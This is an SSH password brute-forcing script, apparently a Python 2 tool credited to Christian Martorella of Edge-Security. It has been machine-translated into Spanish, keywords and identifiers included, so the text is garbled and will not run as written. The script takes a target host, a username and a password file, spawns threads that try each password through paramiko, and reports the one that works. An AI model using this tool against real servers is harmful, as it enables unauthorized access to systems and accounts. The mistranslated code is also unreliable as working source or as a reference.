importación tiempo |
de roscar importación Tema |
importación sys , os , threading , tiempo , rastreo , getopt |
importación paramiko |
importación de terminales |
mundial ADX |
mundial puerto |
ADX = "1" |
puerto = 22 |
datos = [] |
i = [] |
plazo = terminales . TerminalController () |
paramiko . util . log_to_file ( 'demo.log' ) |
print "\ n *************************************" |
print "*" + término . ROJO + "SSH Bruteforcer Ver. 0.6" + término . NORMAL + "*" |
print "* Codificado por Christian Martorella *" |
print "* Edge-Security Research *" |
print "*cmartorella@edge-security.com *" |
print "************************************* \ n" |
def uso (): |
impresión "de uso: brutessh.py opciones \ n" |
print "-h: host de destino" |
print "-u: nombre de usuario a la fuerza" |
print "-d: archivo de contraseñas" |
impresión "-t: hilos (por defecto 12, más podría ser malo)" |
print "-p: puerto de destino \ n" |
print "Ejemplo: 192.168.1.55 brutessh.py -h -u root mypasswordlist.txt -d \ n" |
sys . de salida () |
clase vigor ( Tema ): |
def __init__ ( self , nombre , num ): |
Tema . __init__ ( auto ) |
auto . nombre = nombre |
auto . num = str ( num ) |
def run ( auto ): |
mundial ADX |
si ADX == "1" : |
passw = auto . nombre . división ( "\ n" ) [ 0 ] |
impresión plazo . BOL + término . UP + término . CLEAR_EOL + auto . num + "/" + str ( totaldict ) + "" + PASSW + término . NORMAL |
t = paramiko . Transporte ( nombre de host ) |
tratar : |
t . start_client () |
salvo excepciones : |
x = 0 |
tratar : |
t . AUTH_PASSWORD ( nombre de usuario = nombre de usuario , contraseña = passw ) |
salvo excepciones : |
x = 0 |
si t . is_authenticated (): |
impresión plazo . ABAJO + término . GREEN + "\ Nauth SÍ ---> Contraseña Encontrados:" + PASSW + término . ABAJO + término . NORMAL |
t . cerrar () |
ADX = "0" |
sys . de salida () |
otra cosa : |
t . cerrar () |
tiempo . dormir ( 0 ) |
i [ 0 ] = i [ 0 ] - 1 |
def test_thread ( nombres ): |
i . append ( 0 ) |
j = 0 |
mientras que len ( nombres ): |
tratar : |
si i [ 0 ] < º : |
n = nombres . pop ( 0 ) |
i [ 0 ] = i [ 0 ] + 1 |
hilo = fuerza ( n , j ) |
hilo . iniciar () |
j = j + 1 |
excepto KeyboardInterrupt : |
print "Ataque suspendida por usuario .. \ n" |
sys . de salida () |
hilo . unirse () |
def prueba ( argv ): |
mundial ª |
mundial nombre de host |
mundial nombre de usuario |
mundial totaldict |
º = 12 |
si len ( sys . argv ) < 3 : |
el uso de () |
tratar : |
opta , args = getopt . getopt ( argv , "h: u: d: t: t:" ) |
excepto getopt . GetoptError : |
el uso de () |
para opt , arg en opta : |
si opt == '-u' : |
username = arg |
elif optar == '-h' : |
nombre de host = arg |
elif optar == '-d' : |
password = arg |
elif optar == "-t" : |
º = arg |
elif optar == "-p" : |
puerto = arg |
tratar : |
f = abierto ( contraseña , "r" ) |
excepto : |
print "No se puede abrir archivo de contraseñas \ n" |
sys . de salida () |
impresión plazo . ROJO + "Anfitrión:" + término . NORMAL + nombre de host + término . ROJO |
print "Nombre de usuario:" + término . NORMAL + nombre de usuario + término . ROJO |
print "archivo de contraseña:" + término . NORMAL + contraseña |
imprimir "================================================ ========= " |
print "password Tratando ... \ n" |
nombre = f . readlines () |
totaldict = len ( nombre ) |
starttime = tiempo . reloj () |
test_thread ( nombre ) |
tiempo de parada = tiempo . reloj () |
print "\ nTimes -> Init:" + str ( starttime ) + "End:" + str ( hora de detención ) |
print "\ n" |
si __name__ == "__main__" : |
tratar : |
prueba ( sys . argv [ 1 :]) |
excepto KeyboardInterrupt : |
print "Ataque suspendida por usuario ... \ n" |
sys . de salida () |